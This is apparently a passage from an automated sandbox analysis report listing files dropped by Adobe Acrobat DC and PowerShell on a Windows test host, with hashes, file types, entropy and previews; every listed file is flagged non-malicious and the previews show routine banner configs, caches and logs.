SSDEEP:	6:YEQXJ2HXTIRCBR1QHHJWkVoZcg1vRcR0Y42xoAvJfQ1rPeUkwRe9:YvXKXTzOYlZc0vJZGY16Ukee9
MD5:	D66524B5D461DB4534312C3AAD4EDCD7
SHA1:	790787099187C705CD36B0F0A930DA9E35CE1C91
SHA-256:	56877776CD13B8170AD5DD57390F59D3E62817926BC9EA2D53DB5EDDEE8C1141
SHA-512:	E88093282B6CC5EB1C7F717A3A73E55689CC7714926251F00EFF82EE9355A86B456C7A84FE50385623A8693685870009CA2D8D416438855A5ECB5ED78B872779
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"10584a4b-576a-4d23-8d42-8e5bd262ecb0","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736705456606,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.300694484326469
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTIRCBR1QHHJWkVoZcg1vRcR0Y42xoAvJfFldPeUkwRe9:YvXKXTzOYlZc0vJZGz8Ukee9
MD5:	80726DED30B6E75EFC3473C9AA8BE439
SHA1:	3CB23A12B76F488D32132E027A677E284E5467DF
SHA-256:	161EF519C2DAC8691961EF24AE814042757A4BA522C96E701DB4C8494F6D541E
SHA-512:	18A049596C1DA4C4008AC534C2433DD9CF0476857266819DA4061C25BEFE0D37CCB3DB8672C005FF5C7F92BF4A189D3C9233748F1EAE1ED1A1BCA99AF3FAFA0B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"10584a4b-576a-4d23-8d42-8e5bd262ecb0","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736705456606,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.31790453028613
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTIRCBR1QHHJWkVoZcg1vRcR0Y42xoAvJfzdPeUkwRe9:YvXKXTzOYlZc0vJZGb8Ukee9
MD5:	F092981077D82294BA9B04CF5A3C0400
SHA1:	92DDA1508F903F57D63829896B35135F235D1825
SHA-256:	108E0D6CF9869B3FE72CA849272CDAB48CCFE081CDBD7D979B7DEFB468907061
SHA-512:	BECDB79F5840E02A8B49CE9A564B6BF021BB5A75EC6BBA27A5EAD06DFC36073EEAE6B3B9549C3A384539D0F7BB5D6DB2A15D6F55B6B334790D07AB99CEC5C97B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"10584a4b-576a-4d23-8d42-8e5bd262ecb0","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736705456606,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.298517980520734
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTIRCBR1QHHJWkVoZcg1vRcR0Y42xoAvJfYdPeUkwRe9:YvXKXTzOYlZc0vJZGg8Ukee9
MD5:	B936EB4A43AFEFB617BA40F9588F5662
SHA1:	D2863E30B4504BF38A5C639141DC4DDFB35CFB04
SHA-256:	A4A120701D24F4267D78E8B91A095B411FBEBBAFB8A1DB6FB1ACD72A63A1340C
SHA-512:	7AD314DD7702702C86D7C05B738BC0D8848473EEC108D5118F12353E2C58F104C5E8E84467BDAABE408E43AF7C003EDF955826B6E2E71AC32803D7BC978B779E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"10584a4b-576a-4d23-8d42-8e5bd262ecb0","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736705456606,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.284841252379009
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTIRCBR1QHHJWkVoZcg1vRcR0Y42xoAvJf+dPeUkwRe9:YvXKXTzOYlZc0vJZG28Ukee9
MD5:	F0AD807BA38C247C5064FE34C3835CE5
SHA1:	384BCC863EF5E1D1056F807D8BA0FB84A47D2D95
SHA-256:	D876B198F5699CAE659F0786E4EBAE26444D1465F56976AD79CE9BDA58DF6A66
SHA-512:	0FF6955867A95DD8C7D2C1480C5ED0A12EFCB8AD24F340898C126B148836FCDE3A2E917F500B7D8BA89A0A2878E711ED8B02829C72B5736613CB8B575C728A4F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"10584a4b-576a-4d23-8d42-8e5bd262ecb0","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736705456606,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.282075263895487
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTIRCBR1QHHJWkVoZcg1vRcR0Y42xoAvJfbPtdPeUkwRe9:YvXKXTzOYlZc0vJZGDV8Ukee9
MD5:	956CE9B95F58FE9B63A9E72844217D64
SHA1:	4B829D3E8CFDFB73E893EE132D42100A29EFE908
SHA-256:	95AC864CF0243F367E0FF7CD42E71A82C40BFA868714DCA4AFDB0F98C8CB7758
SHA-512:	198BEEB1E815D69A8F17C23F1413B19641EBF2417364A7049325ADFE0191CB857707F0D4D6D225D65B45267A2CA56B2CCB5B2186D44DBDFEA91C4F2C98F689E1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"10584a4b-576a-4d23-8d42-8e5bd262ecb0","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736705456606,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.286706203168946
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTIRCBR1QHHJWkVoZcg1vRcR0Y42xoAvJf21rPeUkwRe9:YvXKXTzOYlZc0vJZG+16Ukee9
MD5:	8CC9D1B24BD534C20B2ED5F49FE7E96F
SHA1:	46974AB516F6F5D26CD486E8EEB29DC225C964D9
SHA-256:	6AF8145C11C76B05D99CB20A079281F1C8ECC78735313E863DC295565B900608
SHA-512:	E55EB0FE6B8827D95923FBB975D01024A8D63124E373F51D29DC181A1B4D635D48EEF76710D681AF0ED8091E9A77DB643F6CF0B1C2391D46AF781648B2FE7A7A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"10584a4b-576a-4d23-8d42-8e5bd262ecb0","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736705456606,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.6601278862765945
Encrypted:	false
SSDEEP:	24:Yv6XTlzvYamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSIQ:Yvi2BgkDMUJUAh8cvMN
MD5:	F6D49DA09A5E08F0FABED1BA564C3FA6
SHA1:	7D5C1C6D3454834FB2CC9A2CF0B4D7BCD58B605C
SHA-256:	AD67C18A2C2225C4E98D5928FDD30E8A38D2DBFEB4DFCA4CEBCDAD6D7D2D0B1B
SHA-512:	F3B908CA2EF1F5CF58F8511A3DCA25AE0133957B653AB48137B4D5241A2C21C63934C546D91E4765513055B3C7063FFFAED15F22848B6E8D0FF5F228C1DD7DE1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"10584a4b-576a-4d23-8d42-8e5bd262ecb0","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736705456606,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.261497663599377
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTIRCBR1QHHJWkVoZcg1vRcR0Y42xoAvJfshHHrPeUkwRe9:YvXKXTzOYlZc0vJZGUUUkee9
MD5:	ABA4656584CA246E1DE7647CD56A307B
SHA1:	162BD331D37069C89A7D18EE002882C7EE0CA261
SHA-256:	F80AE7BB33400090AC8942C1BEB9C395BA6E01C46111CA2B0B58EFF2A8A47EBD
SHA-512:	7F5155BE90B3A0DC3C05C6939414DD5A151E2B669B4AD0B8A29A2D06A482E955E32B2163793D2959C1FF60DA1C7C13BC26FEC168F507558D6C33E05907C5FBB6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"10584a4b-576a-4d23-8d42-8e5bd262ecb0","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736705456606,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.268071637134789
Encrypted:	false
SSDEEP:	6:YEQXJ2HXTIRCBR1QHHJWkVoZcg1vRcR0Y42xoAvJTqgFCrPeUkwRe9:YvXKXTzOYlZc0vJZGTq16Ukee9
MD5:	C1C4A148FD4B4A449B916DE861507A8F
SHA1:	25B41C1625C8F8B0A9C01EDBE5AC4E72C1F555ED
SHA-256:	8E5EABCA3283BA4BC1900F1DA77FAFC3D503114E1F05CD09D76278253EF7BDCE
SHA-512:	C31F632BDB06FD7B3EAFFB9591EBEC389AD8EBF888CCF2981EE3E0A1451A03AD7619B5AD9B7A58C3DB4A5AD522E22FBE94DB00231099015392D4366BAB1D943C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"10584a4b-576a-4d23-8d42-8e5bd262ecb0","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736705456606,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.142264756994038
Encrypted:	false
SSDEEP:	24:YkiIaPKiaydC+JuxualDWaBp2i/biWy4OjN1j0SCjwS2pP2LScCsV26XC355PYHa:YJHgNZ7fy3zYDaPCnVbX2U9I
MD5:	B26EEB8BF6DC9AF487AECE8FE087A9F1
SHA1:	D2C4260B147CE2C9FA7C2DEFAD3F29763AC224BA
SHA-256:	E37C46805139147AF6E3BC6AAF10434ABE59709BE89DCE315872E76C42076438
SHA-512:	C0B35CFD0D8F90451736585B0941B1DC7D706BC2D7F6EE4026A24D37B820307689AD00BF9FBB0BF65916AA6294283AB5DF0A1C5C31AB3885F281AE19E46A484D
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"e641f9b21a5864b9768fa20318cb76b3","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736527616000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"05905beae6b3a771fb4503a2bddb5aac","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736527616000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"bb7b45fcbc9b5f7a9f270a5757dc782e","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736527616000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"b8681b0fa27789c70d4472be92425102","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736527616000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"5a08c8fb7282fa720cb16c8cde9c4ee2","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736527616000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"0ef4fe95cb739c7df930431dc82b6677","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1873289725703924
Encrypted:	false
SSDEEP:	48:TGufl2GL7msEHUUUUUUUU5SvR9H9vxFGiDIAEkGVvp5:lNVmswUUUUUUUU5+FGSIt9
MD5:	E0E2F6CF37A4B55C32B6B05DACD7C31E
SHA1:	08E2C7F1A08A786237FA4F4609ADA65DDEF9EA6E
SHA-256:	4092C373F243529ACE9F0B7009D4E460F507081B3EC525D628BEDAB9907872AB
SHA-512:	514A6AA669BAA1107BA01862FE886706BBC5CD6659ECEC4F6B5B991DA612C3E607EEEB9CAF50363AFCE2622AAD027C46D0EA37845C5C001E67A5EF9B6B5F1FB5
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.6057526023785857
Encrypted:	false
SSDEEP:	48:7MYKUUUUUUUUUUxvR9H9vxFGiDIAEkGVvUqFl2GL7msp:7gUUUUUUUUUU1FGSIt6KVmsp
MD5:	6EEEFE91951DEE12C3B2F52B2E38CDDD
SHA1:	ED5EFF4F79D417BE67A6B77E0075DDC300AFD45E
SHA-256:	09A30A48CA0D7AC7D76D89F6A7546F6C2B24F512DA6BFBC862B2B2D115E23087
SHA-512:	4DCAC84DF14F0A8874EAEB79F80B4CEC7449A0E492CC21A25093D36C2A3F7E55614CEA2E0B7ABE5BA4347863DDFF5EA1325B8ABCA3255F254923A0EAA3C7A75B
Malicious:	false
Preview:	.... .c.......U.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................f.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgVNeJ6tcvfpom2nWRSUARGD2Yyu:6a6TZ44ADEVNe0tcvfpo4gK
MD5:	6B03ACEADA1B446E707CB51BCCC45BB4
SHA1:	925D2B5412060B68BA5625268F8ACA63F9C3A087
SHA-256:	F6E6A8001A2DBE311E29D2AE5F6E223F61D9EC64646DDA89B1C7A8D755235DFA
SHA-512:	102966DB767093D907663B9EA64CA4BBA0E0325A78CAF8CF43F12D2734500BA041E69CDF94977C50D55F476E165099090613216EF772899EC4DE31BB14E67E2A
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllultnxj:NllU
MD5:	F93358E626551B46E6ED5A0A9D29BD51
SHA1:	9AECA90CCBFD1BEC2649D66DF8EBE64C13BACF03
SHA-256:	0347D1DE5FEA380ADFD61737ECD6068CB69FC466AC9C77F3056275D5FCAFDC0D
SHA-512:	D609B72F20BF726FD14D3F2EE91CCFB2A281FAD6BC88C083BFF7FCD177D2E59613E7E4E086DB73037E2B0B8702007C8F7524259D109AF64942F3E60BFCC49853
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSIe14b5.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5136057226030957
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClEH9:Qw946cPbiOxDlbYnuRK+bDH9
MD5:	03FF6C20057D35CA103CAD29E5A6E2BA
SHA1:	BD424083C388A2F2E248B32883AA38D5E6855625
SHA-256:	90144058248B07602B3DDC81F2C067161F85FB61D135B5B3CE02A8F33C83E186
SHA-512:	1AD55014706C724A63F79A12F7D9A43663A5A4366B7FF9604C2A6D532DCD5904CD425E1C7686EC8B5215F53399ED23B4139D769706821BD54F00796CB6800681
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.1.:.4.6.:.5.4. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2w5np11f.vbh.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zzikqejb.nwn.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 11-46-49-414.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.345946398610936
Encrypted:	false
SSDEEP:	384:zHIq8qrq0qoq/qUILImCIrImI9IWdFdDdoPtPTPtP7ygyAydy0yGV///X/J/VokV:nNW
MD5:	8947C10F5AB6CFFFAE64BCA79B5A0BE3
SHA1:	70F87EEB71BA1BE43D2ABAB7563F94C73AB5F778
SHA-256:	4F3449101521DA7DF6B58A2C856592E1359BA8BD1ACD0688ECF4292BA5388485
SHA-512:	B76DB9EF3AE758F00CAF0C1705105C875838C7801F7265B17396466EECDA4BCD915DA4611155C5F2AD1C82A800C1BEC855E52E2203421815F915B77AA7331CA0
Malicious:	false
Preview:	SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:088+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15096
Entropy (8bit):	5.372436840004621
Encrypted:	false
SSDEEP:	384:ny4susTsWsssVszcstsmsIls+sAsbs9f3fEuzuf/t/pqeqCqvrEr3eSpSlSTzxMe:Kr6
MD5:	AF9D9A8E225D03A20C9A51547406D588
SHA1:	93E2F7AA9C9676C461F9659E30C99902FB404E24
SHA-256:	42CA7D1C916CF4D528BC3DEA1E0509276367D3EDD62732D027663FFAD20E411F
SHA-512:	703BC32F67A468F62925D36990D9917120D812C88709C153048AE164D64E18962FFB7C08DD1B4101784978D0FDBAD577C72852F3415A5E9D84D2D1BAFAFE1A37
Malicious:	false
Preview:	SessionID=3acd9339-8442-4bbc-95e4-893275daa755.1736527609435 Timestamp=2025-01-10T11:46:49:435-0500 ThreadID=6028 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=3acd9339-8442-4bbc-95e4-893275daa755.1736527609435 Timestamp=2025-01-10T11:46:49:437-0500 ThreadID=6028 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=3acd9339-8442-4bbc-95e4-893275daa755.1736527609435 Timestamp=2025-01-10T11:46:49:437-0500 ThreadID=6028 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=3acd9339-8442-4bbc-95e4-893275daa755.1736527609435 Timestamp=2025-01-10T11:46:49:437-0500 ThreadID=6028 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=3acd9339-8442-4bbc-95e4-893275daa755.1736527609435 Timestamp=2025-01-10T11:46:49:437-0500 ThreadID=6028 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.394477312342806
Encrypted:	false
SSDEEP:	768:anddBuBYZwcfCnwZCnR8Bu5hx18HoCnLlAY+iCBuzhLCnx1CnPrRRFS10l8gT2rJ:es
MD5:	23F443E0FF648AA3BE2301B793D50157
SHA1:	DC8202FF0684072A880E78F0D34BA342363FEE6E
SHA-256:	DC7428D1082729C743BCDD1883BB78FA12E4F747E40E08C19E6965F5220BBB12
SHA-512:	91CC0CFE78C911729F77EF83D1C883FCF552130BF6EA89E9FB3B469F532CCF803095E040689F9CC8EC0C9310EE753BD125B826A76ADAA2E42C6275057FFE4A49
Malicious:	false
